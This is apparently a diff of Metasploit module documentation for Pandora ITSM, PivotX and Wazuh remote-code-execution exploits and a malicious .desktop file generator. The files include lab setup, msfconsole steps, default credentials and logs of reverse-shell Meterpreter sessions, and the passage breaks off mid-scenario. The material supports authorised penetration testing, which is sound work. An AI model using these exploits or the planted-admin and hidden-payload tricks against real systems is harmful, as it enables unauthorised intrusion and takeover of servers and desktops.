Pandora ITSM Web application. This attack can be remotely executed over the WAN as long as the
|
||||
MySQL services are exposed to the outside world.
|
||||
This issue affects all ITSM Enterprise editions up to `5.0.105` and is patched at `5.0.106`.
|
||||
|
||||
The following releases were tested.
|
||||
|
||||
**Pandora ITSM Releases:**
|
||||
* Pandora ITSM Enterprise Edition 5.0.104 Build 240802 MR97 on Ubuntu 22.04
|
||||
* Pandora ITSM Enterprise Edition 5.0.105 Build 250129 MR98 on Ubuntu 22.04
|
||||
|
||||
## Installation steps to install Pandora ITSM Enterprise Edition on Ubuntu 22.04
|
||||
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
|
||||
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
|
||||
* Register for a free trial [here](https://pandorafms.com/en/itsm/free-trial/).
|
||||
* Install a plain Ubuntu 22.04 VM image.
|
||||
* Log in at the Ubuntu VM with root.
|
||||
* Run `apt update && apt upgrade` to get the latest updates.
|
||||
* Run the following command `curl -SsL https://pfms.me/deploy-pandora-itsm > deploy-pandora-itsm`.
|
||||
* Check the file `deploy-pandora-itsm` and find the `install_script` variable that refers to `itsm_deploy_enterprise_ubuntu_2204.sh`.
|
||||
* `install_script='https://packages.pandorafms.com/projects/deploy/itsm/iBxbqHhtHkOnzp1rINvG/itsm_deploy_enterprise_ubuntu_2204.sh'`
|
||||
* Use the `url` and download the file with `curl` and store it locally in the file `install.sh`.
|
||||
* `curl -LSs https://packages.pandorafms.com/projects/deploy/itsm/iBxbqHhtHkOnzp1rINvG/itsm_deploy_enterprise_ubuntu_2204.sh > install.sh`
|
||||
* Edit `install.sh` with your favorite editor and change the following line FROM:
|
||||
* INTEGRIA_PACKAGE_ENT="https://packages.pandorafms.com/c5553382c7268ea9d69dd2f889029162/latest/PandoraITSM_enterprise-latest.tar.gz"
|
||||
* TO
|
||||
* INTEGRIA_PACKAGE_ENT="https://packages.pandorafms.com/c5553382c7268ea9d69dd2f889029162/LTS/PandoraITSM_enterprise-lts.tar.gz"
|
||||
* Run `chmod +x install.sh` and execute the script `./install.sh`.
|
||||
* After successful installation of Pandora ITSM you can access the application using the `webui` via `http://your_ip/pandoraitsm`.
|
||||
|
||||
You are now ready to test the module.
|
||||
|
||||
## Verification Steps
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/pandora_itsm_auth_rce_cve_2025_4653`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set lhost <attacker-ip>`
|
||||
- [ ] `set target <0=Unix/Linux Command>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
This option is optional and is the username (default: admin) to authenticate with the Pandora ITSM application.
|
||||
|
||||
### PASSWORD
|
||||
This option is optional and is the password (default: integria) in plain text to authenticate with the Pandora ITSM application.
|
||||
|
||||
### DB_USER
|
||||
This option is required and is the username (default: pandoraitsm) to authenticate with the Pandora ITSM MySQL database.
|
||||
|
||||
### DB_PASSWORD
|
||||
This option is required and is the password (default: P4ndor4.itsm) in plain text to authenticate with the Pandora ITSM MySQL database.
|
||||
|
||||
### DB_PORT
|
||||
This option is required and is the MySQL database port (default: 3306) to connect to the database.
|
||||
|
||||
## Scenarios
|
||||
### Pandora ITSM 5.0.104 on Ubuntu 22.04 - Unix/Linux Command target
|
||||
Attack scenario: use the default admin credentials (admin:integria) of the Pandora ITSM application
|
||||
to gain the privileges for the RCE.
|
||||
```msf
|
||||
msf6 exploit(linux/http/pandora_itsm_auth_rce_cve_2025_4653) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Pandora ITSM Enterprise Edition 5.0.104 Build 240802 MR97
|
||||
[*] Trying to log in with admin credentials admin:integria at the Pandora ITSM Web application.
|
||||
[*] Succesfully authenticated at the Pandora ITSM Web application.
|
||||
[*] Saving admin credentials at the msf database.
|
||||
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[*] Sending stage (3090404 bytes) to 192.168.201.6
|
||||
[*] Meterpreter session 45 opened (192.168.201.10:4444 -> 192.168.201.6:37374) at 2025-07-19 10:21:00 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.201.6
|
||||
OS : Ubuntu 22.04 (Linux 5.15.0-144-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > pwd
|
||||
/var/www/html/pandoraitsm
|
||||
meterpreter >
|
||||
```
|
||||
### Pandora ITSM 5.0.104 on Ubuntu 22.04 - Unix/Linux Command target
|
||||
Attack scenario: use the default database credentials (pandoraitsm:P4ndor4.itsm) to create an admin user in the application
|
||||
to gain the privileges for the RCE.
|
||||
```msf
|
||||
msf6 exploit(linux/http/pandora_itsm_auth_rce_cve_2025_4653) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Pandora ITSM Enterprise Edition 5.0.104 Build 240802 MR97
|
||||
[*] Trying to log in with admin credentials admin:xxx at the Pandora ITSM Web application.
|
||||
[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.
|
||||
[*] Creating new admin user with credentials hhmxr:YGMWzFjE9R for access at the Pandora ITSM Web application.
|
||||
[*] Trying to log in with new admin credentials hhmxr:YGMWzFjE9R at the Pandora ITSM Web application.
|
||||
[*] Succesfully authenticated at the Pandora ITSM Web application.
|
||||
[*] Saving admin credentials at the msf database.
|
||||
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[*] Sending stage (3090404 bytes) to 192.168.201.6
|
||||
[*] Meterpreter session 46 opened (192.168.201.10:4444 -> 192.168.201.6:38870) at 2025-07-19 10:22:43 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.201.6
|
||||
OS : Ubuntu 22.04 (Linux 5.15.0-144-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > pwd
|
||||
/var/www/html/pandoraitsm
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Limitations
|
||||
None.
|
||||
@@ -0,0 +1,56 @@
|
||||
## Vulnerable Application
|
||||
|
||||
PivotX is free software to help you maintain dynamic sites such as weblogs, online journals and other frequently updated websites in general.
|
||||
It's written in PHP and uses MySQL or flat files as a database.
|
||||
|
||||
Install steps:
|
||||
|
||||
1. Install Apache2, MySQL, PHP8.2+
|
||||
1. `git clone https://github.com/pivotx/PivotX.git`
|
||||
1. Move `PivotX` to webfolder
|
||||
1. Run the following from the web folder `sudo chown -R www-data:www-data ./`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/linux/http/pivotx_rce`
|
||||
1. Do: `set USERNAME [PivotX username]`
|
||||
1. Do: `set PASSWORD [PivotX password]`
|
||||
1. Do: `set RHOSTS [target IP]`
|
||||
1. Do: `set LHOST [attacker IP]`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
### USERNAME
|
||||
|
||||
PivotX username.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
PivotX password.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf exploit(linux/http/pivotx_index_php_overwrite) > run verbose=true
|
||||
[*] Started reverse TCP handler on 192.168.168.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Detected PivotX 3.0.0.pre.rc3
|
||||
[*] Logging in PivotX
|
||||
[*] Modifying file and injecting payload
|
||||
[*] Triggering payload
|
||||
[*] Sending stage (40004 bytes) to 192.168.168.146
|
||||
[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:36104) at 2025-08-01 09:38:52 +0200
|
||||
|
||||
[*] Restoring original content
|
||||
|
||||
meterpreter >
|
||||
meterpreter > sysinfo
|
||||
Computer : ubuntu
|
||||
OS : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
|
||||
```
|
||||
@@ -0,0 +1,365 @@
|
||||
## Vulnerable Application
|
||||
Wazuh is a free and open source platform used for threat prevention, detection, and response.
|
||||
Starting in version `4.4.0` and prior to version `4.9.1`, an unsafe deserialization vulnerability allows for remote code
|
||||
execution on Wazuh servers. DistributedAPI parameters are serialized as JSON and deserialized using `as_wazuh_object` in
|
||||
`/var/ossec/framework/wazuh/core/cluster/common.py`. If an attacker manages to inject an unsanitized dictionary in DAPI
|
||||
request/response, they can forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
|
||||
The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or,
|
||||
in certain configurations, even by a compromised agent.
|
||||
|
||||
The following Wazuh release has been tested:
|
||||
* Wazuh Server 4.8.2 multi-node cluster running on Docker Desktop
|
||||
|
||||
See also this [attackerkb article](https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016) for more info.
|
||||
|
||||
## Installation
|
||||
### Installation steps to install the Wazuh Server application
|
||||
* Install `Docker` on your preferred platform.
|
||||
* Here are the installation instructions for [Docker Desktop on MacOS](https://docs.docker.com/desktop/install/mac-install/).
|
||||
* Follow the steps to install [Wazuh multi-node](https://documentation.wazuh.com/current/deployment-options/docker/wazuh-container.html).
|
||||
* Change the `docker-compose.yml` file in the `multi-node` directory by adding the line `- "56000:55000"` to the ports configuration
|
||||
* of the wazuh.worker section to expose port `55000` to the outside world on port `56000`.
|
||||
* You can modify the `4.8.2` version in the `yml` file to pull different versions.
|
||||
```yaml
|
||||
# Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2)
|
||||
version: '3.7'
|
||||
|
||||
services:
|
||||
wazuh.master:
|
||||
image: wazuh/wazuh-manager:4.8.2
|
||||
hostname: wazuh.master
|
||||
restart: always
|
||||
ulimits:
|
||||
memlock:
|
||||
soft: -1
|
||||
hard: -1
|
||||
nofile:
|
||||
soft: 655360
|
||||
hard: 655360
|
||||
ports:
|
||||
- "1515:1515"
|
||||
- "514:514/udp"
|
||||
- "55000:55000"
|
||||
environment:
|
||||
- INDEXER_URL=https://wazuh1.indexer:9200
|
||||
- INDEXER_USERNAME=admin
|
||||
- INDEXER_PASSWORD=SecretPassword
|
||||
- FILEBEAT_SSL_VERIFICATION_MODE=full
|
||||
- SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem
|
||||
- SSL_CERTIFICATE=/etc/ssl/filebeat.pem
|
||||
- SSL_KEY=/etc/ssl/filebeat.key
|
||||
- API_USERNAME=wazuh-wui
|
||||
- API_PASSWORD=MyS3cr37P450r.*-
|
||||
volumes:
|
||||
- master-wazuh-api-configuration:/var/ossec/api/configuration
|
||||
- master-wazuh-etc:/var/ossec/etc
|
||||
- master-wazuh-logs:/var/ossec/logs
|
||||
- master-wazuh-queue:/var/ossec/queue
|
||||
- master-wazuh-var-multigroups:/var/ossec/var/multigroups
|
||||
- master-wazuh-integrations:/var/ossec/integrations
|
||||
- master-wazuh-active-response:/var/ossec/active-response/bin
|
||||
- master-wazuh-agentless:/var/ossec/agentless
|
||||
- master-wazuh-wodles:/var/ossec/wodles
|
||||
- master-filebeat-etc:/etc/filebeat
|
||||
- master-filebeat-var:/var/lib/filebeat
|
||||
- ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem
|
||||
- ./config/wazuh_indexer_ssl_certs/wazuh.master.pem:/etc/ssl/filebeat.pem
|
||||
- ./config/wazuh_indexer_ssl_certs/wazuh.master-key.pem:/etc/ssl/filebeat.key
|
||||
- ./config/wazuh_cluster/wazuh_manager.conf:/wazuh-config-mount/etc/ossec.conf
|
||||
|
||||
wazuh.worker:
|
||||
image: wazuh/wazuh-manager:4.8.2
|
||||
hostname: wazuh.worker
|
||||
restart: always
|
||||
ulimits:
|
||||
memlock:
|
||||
soft: -1
|
||||
hard: -1
|
||||
nofile:
|
||||
soft: 655360
|
||||
hard: 655360
|
||||
ports:
|
||||
- "56000:55000"
|
||||
- "5555:5555"
|
||||
environment:
|
||||
- INDEXER_URL=https://wazuh1.indexer:9200
|
||||
- INDEXER_USERNAME=admin
|
||||
- INDEXER_PASSWORD=SecretPassword
|
||||
- FILEBEAT_SSL_VERIFICATION_MODE=full
|
||||
- SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem
|
||||
- SSL_CERTIFICATE=/etc/ssl/filebeat.pem
|
||||
- SSL_KEY=/etc/ssl/filebeat.key
|
||||
- PYTHONBREAKPOINT=remote_pdb.set_trace
|
||||
- REMOTE_PDB_HOST=0.0.0.0
|
||||
- REMOTE_PDB_PORT=5555
|
||||
volumes:
|
||||
- worker-wazuh-api-configuration:/var/ossec/api/configuration
|
||||
- worker-wazuh-etc:/var/ossec/etc
|
||||
- worker-wazuh-logs:/var/ossec/logs
|
||||
- worker-wazuh-queue:/var/ossec/queue
|
||||
- worker-wazuh-var-multigroups:/var/ossec/var/multigroups
|
||||
- worker-wazuh-integrations:/var/ossec/integrations
|
||||
- worker-wazuh-active-response:/var/ossec/active-response/bin
|
||||
- worker-wazuh-agentless:/var/ossec/agentless
|
||||
- worker-wazuh-wodles:/var/ossec/wodles
|
||||
- worker-filebeat-etc:/etc/filebeat
|
||||
- worker-filebeat-var:/var/lib/filebeat
|
||||
- ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem
|
||||
- ./config/wazuh_indexer_ssl_certs/wazuh.worker.pem:/etc/ssl/filebeat.pem
|
||||
- ./config/wazuh_indexer_ssl_certs/wazuh.worker-key.pem:/etc/ssl/filebeat.key
|
||||
- ./config/wazuh_cluster/wazuh_worker.conf:/wazuh-config-mount/etc/ossec.conf
|
||||
|
||||
wazuh1.indexer:
|
||||
image: wazuh/wazuh-indexer:4.8.2
|
||||
hostname: wazuh1.indexer
|
||||
restart: always
|
||||
ports:
|
||||
- "9200:9200"
|
||||
environment:
|
||||
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
|
||||
- "bootstrap.memory_lock=true"
|
||||
ulimits:
|
||||
memlock:
|
||||
soft: -1
|
||||
hard: -1
|
||||
nofile:
|
||||
soft: 65536
|
||||
hard: 65536
|
||||
volumes:
|
||||
- wazuh-indexer-data-1:/var/lib/wazuh-indexer
|
||||
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
|
||||
- ./config/wazuh_indexer_ssl_certs/wazuh1.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.key
|
||||
- ./config/wazuh_indexer_ssl_certs/wazuh1.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.pem
|
||||
- ./config/wazuh_indexer_ssl_certs/admin.pem:/usr/share/wazuh-indexer/certs/admin.pem
|
||||
- ./config/wazuh_indexer_ssl_certs/admin-key.pem:/usr/share/wazuh-indexer/certs/admin-key.pem
|
||||
- ./config/wazuh_indexer/wazuh1.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
|
||||
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml
|
||||
|
||||
wazuh2.indexer:
|
||||
image: wazuh/wazuh-indexer:4.8.2
|
||||
hostname: wazuh2.indexer
|
||||
restart: always
|
||||
environment:
|
||||
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
|
||||
- "bootstrap.memory_lock=true"
|
||||
ulimits:
|
||||
memlock:
|
||||
soft: -1
|
||||
hard: -1
|
||||
nofile:
|
||||
soft: 65536
|
||||
hard: 65536
|
||||
volumes:
|
||||
- wazuh-indexer-data-2:/var/lib/wazuh-indexer
|
||||
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
|
||||
- ./config/wazuh_indexer_ssl_certs/wazuh2.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.key
|
||||
- ./config/wazuh_indexer_ssl_certs/wazuh2.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.pem
|
||||
- ./config/wazuh_indexer/wazuh2.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
|
||||
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml
|
||||
|
||||
wazuh3.indexer:
|
||||
image: wazuh/wazuh-indexer:4.8.2
|
||||
hostname: wazuh3.indexer
|
||||
restart: always
|
||||
environment:
|
||||
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
|
||||
- "bootstrap.memory_lock=true"
|
||||
ulimits:
|
||||
memlock:
|
||||
soft: -1
|
||||
hard: -1
|
||||
nofile:
|
||||
soft: 65536
|
||||
hard: 65536
|
||||
volumes:
|
||||
- wazuh-indexer-data-3:/var/lib/wazuh-indexer
|
||||
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
|
||||
- ./config/wazuh_indexer_ssl_certs/wazuh3.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.key
|
||||
- ./config/wazuh_indexer_ssl_certs/wazuh3.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.pem
|
||||
- ./config/wazuh_indexer/wazuh3.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
|
||||
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml
|
||||
|
||||
wazuh.dashboard:
|
||||
image: wazuh/wazuh-dashboard:4.8.2
|
||||
hostname: wazuh.dashboard
|
||||
restart: always
|
||||
ports:
|
||||
- 443:5601
|
||||
environment:
|
||||
- OPENSEARCH_HOSTS="https://wazuh1.indexer:9200"
|
||||
- WAZUH_API_URL="https://wazuh.master"
|
||||
- API_USERNAME=wazuh-wui
|
||||
- API_PASSWORD=MyS3cr37P450r.*-
|
||||
- DASHBOARD_USERNAME=kibanaserver
|
||||
- DASHBOARD_PASSWORD=kibanaserver
|
||||
volumes:
|
||||
- ./config/wazuh_indexer_ssl_certs/wazuh.dashboard.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard.pem
|
||||
- ./config/wazuh_indexer_ssl_certs/wazuh.dashboard-key.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard-key.pem
|
||||
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-dashboard/certs/root-ca.pem
|
||||
- ./config/wazuh_dashboard/opensearch_dashboards.yml:/usr/share/wazuh-dashboard/config/opensearch_dashboards.yml
|
||||
- ./config/wazuh_dashboard/wazuh.yml:/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml
|
||||
- wazuh-dashboard-config:/usr/share/wazuh-dashboard/data/wazuh/config
|
||||
- wazuh-dashboard-custom:/usr/share/wazuh-dashboard/plugins/wazuh/public/assets/custom
|
||||
depends_on:
|
||||
- wazuh1.indexer
|
||||
links:
|
||||
- wazuh1.indexer:wazuh1.indexer
|
||||
- wazuh.master:wazuh.master
|
||||
|
||||
nginx:
|
||||
image: nginx:stable
|
||||
hostname: nginx
|
||||
restart: always
|
||||
ports:
|
||||
- "1514:1514"
|
||||
depends_on:
|
||||
- wazuh.master
|
||||
- wazuh.worker
|
||||
- wazuh.dashboard
|
||||
links:
|
||||
- wazuh.master:wazuh.master
|
||||
- wazuh.worker:wazuh.worker
|
||||
- wazuh.dashboard:wazuh.dashboard
|
||||
volumes:
|
||||
- ./config/nginx/nginx.conf:/etc/nginx/nginx.conf:ro
|
||||
|
||||
volumes:
|
||||
master-wazuh-api-configuration:
|
||||
master-wazuh-etc:
|
||||
master-wazuh-logs:
|
||||
master-wazuh-queue:
|
||||
master-wazuh-var-multigroups:
|
||||
master-wazuh-integrations:
|
||||
master-wazuh-active-response:
|
||||
master-wazuh-agentless:
|
||||
master-wazuh-wodles:
|
||||
master-filebeat-etc:
|
||||
master-filebeat-var:
|
||||
worker-wazuh-api-configuration:
|
||||
worker-wazuh-etc:
|
||||
worker-wazuh-logs:
|
||||
worker-wazuh-queue:
|
||||
worker-wazuh-var-multigroups:
|
||||
worker-wazuh-integrations:
|
||||
worker-wazuh-active-response:
|
||||
worker-wazuh-agentless:
|
||||
worker-wazuh-wodles:
|
||||
worker-filebeat-etc:
|
||||
worker-filebeat-var:
|
||||
wazuh-indexer-data-1:
|
||||
wazuh-indexer-data-2:
|
||||
wazuh-indexer-data-3:
|
||||
wazuh-dashboard-config:
|
||||
wazuh-dashboard-custom:
|
||||
```
|
||||
* Run following command `docker-compose up -d` to install and run the Wazuh server cluster environment.
|
||||
* Your Wazuh server should be accessible on `https://localhost` with an active Wazuh server cluster running.
|
||||
* You can bring down the environment for a fresh start with the command `docker-compose down`.
|
||||
|
||||
You are now ready to test the module.
|
||||
|
||||
**IMPORTANT NOTE:**
|
||||
This vulnerability can only be triggered in a Wazuh multi-node cluster configuration, because it needs the distributed API function.
|
||||
It is important to understand that the worker-server port (`55000`) should be exposed to the outside world in order to trigger
|
||||
this vulnerability. In the above lab setup, it is exposed on port `56000` (see the `docker-compose.yml` file)
|
||||
Using it directly on the master-server port (`55000`) will not work because the DAPI request is not leveraged in this case, hence
|
||||
the vulnerable code will not be triggered.
|
||||
|
||||
## Verification Steps
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/wazuh_auth_rce_cve_2025_24016`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set lhost <attacker-ip>`
|
||||
- [ ] `set target <0=Unix/Linux Command>`
|
||||
- [ ] `exploit`
|
||||
|
||||
you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings.
|
||||
|
||||
## Options
|
||||
**API Credentials:**
|
||||
`API_PWD` Wazuh API password (MyS3cr37P450r.*-)
|
||||
`API_USER` Wazuh API user (wazuh-wui)
|
||||
|
||||
## Scenarios
|
||||
### Wazuh server 4.8.2 on Docker Desktop
|
||||
```msf
|
||||
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > options
|
||||
|
||||
Module options (exploit/linux/http/wazuh_auth_rce_cve_2025_24016):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
API_PWD MyS3cr37P450r.*- yes Wazuh API password
|
||||
API_USER wazuh-wui yes Wazuh API user
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http,
|
||||
socks5h
|
||||
RHOSTS 192.168.201.85 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 56000 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes Path to the wazuh manager
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python
|
||||
variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
LHOST 192.168.201.10 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
When FETCH_COMMAND is one of CURL,WGET:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
||||
|
||||
|
||||
When FETCH_FILELESS is none:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_FILENAME WqYFaNqq no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix/Linux Command
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Wazuh version 4.8.2
|
||||
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[*] Sending stage (3090404 bytes) to 192.168.201.85
|
||||
[*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.85:58215) at 2025-07-16 08:14:53 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: wazuh
|
||||
meterpreter > sysinfo
|
||||
Computer : wazuh.master
|
||||
OS : (Linux 6.10.14-linuxkit)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > pwd
|
||||
/
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Limitations
|
||||
This module works only on a Wazuh Server multi-node cluster configuration.
|
||||
@@ -0,0 +1,122 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module creates a malicious XDG Desktop (.desktop) file.
|
||||
|
||||
On most modern systems, desktop files are not trusted by default.
|
||||
The user will receive a warning prompt that the file is not trusted
|
||||
when running the file, but may choose to run the file anyway.
|
||||
|
||||
The default file manager applications in some desktop environments
|
||||
may impose more strict execution requirements by prompting the user
|
||||
to set the file as executable and/or marking the file as trusted
|
||||
before the file can be executed.
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### FILENAME
|
||||
|
||||
The desktop file name. (Default: `msf.desktop`)
|
||||
|
||||
### APPLICATION_NAME
|
||||
|
||||
The application name. Some file managers will display this name instead of the file name. (Default: random)
|
||||
|
||||
|
||||
## Advanced Options
|
||||
|
||||
### PrependNewLines
|
||||
|
||||
Prepend new lines before the payload. (Default: `100`)
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
On the Metasploit host:
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/multi/fileformat/xdg_desktop`
|
||||
1. Do: `set filename [filename.desktop]`
|
||||
1. Do: `set payload [payload]`
|
||||
1. Do: `set lhost [lhost]`
|
||||
1. Do: `set lport [lport]`
|
||||
1. Do: `run`
|
||||
1. Do: `handler -p [payload] -P [lport] -H [lhost]`
|
||||
|
||||
On the target machine:
|
||||
|
||||
1. Open the `msf.desktop` file
|
||||
1. If prompted, choose "Launch Anyway"
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu MATE 24.04.2 (x86_64)
|
||||
|
||||
```
|
||||
msf > use exploit/multi/fileformat/xdg_desktop
|
||||
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
|
||||
msf exploit(multi/fileformat/xdg_desktop) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(multi/fileformat/xdg_desktop) > set lhost 192.168.200.130
|
||||
lhost => 192.168.200.130
|
||||
msf exploit(multi/fileformat/xdg_desktop) > set lport 4444
|
||||
lport => 4444
|
||||
msf exploit(multi/fileformat/xdg_desktop) > set FETCH_COMMAND wget
|
||||
FETCH_COMMAND => WGET
|
||||
msf exploit(multi/fileformat/xdg_desktop) > run
|
||||
[+] msf.desktop stored at /root/.msf4/local/msf.desktop
|
||||
msf exploit(multi/fileformat/xdg_desktop) > handler -p cmd/linux/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
|
||||
[*] Payload handler running as background job 0.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
msf exploit(multi/fileformat/xdg_desktop) >
|
||||
[*] Sending stage (3090404 bytes) to 192.168.200.193
|
||||
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.193:52462) at 2025-07-29 03:29:10 -0400
|
||||
|
||||
msf exploit(multi/fileformat/xdg_desktop) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : linuxmint-mate-24-04.2-desktop-amd64
|
||||
OS : Ubuntu 24.04 (Linux 6.14.0-24-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Linux Mint 22.1 (MATE) (x86_64)
|
||||
|
||||
```
|
||||
msf > use exploit/multi/fileformat/xdg_desktop
|
||||
